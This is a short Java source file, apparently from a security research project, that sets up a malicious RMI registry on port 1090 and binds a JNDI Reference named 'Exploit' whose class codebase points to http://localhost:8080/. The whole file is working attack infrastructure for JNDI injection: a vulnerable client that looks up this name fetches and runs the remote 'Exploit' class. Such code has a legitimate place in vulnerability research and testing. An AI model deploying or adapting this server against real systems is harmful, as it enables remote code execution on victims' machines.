package summer.util;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @ClassName: ldapsimpleserver
 * @Description: TODO
 * @Author: Samny
 * @Date: 2020/4/24 15:03
 * @Version: v1.0.0
 * @Description: 简易rmi服务端
 **/
public class simplermiserver {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1090);
        Reference reference = new Reference("Exploit",
                "Exploit","http://localhost:8080/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}
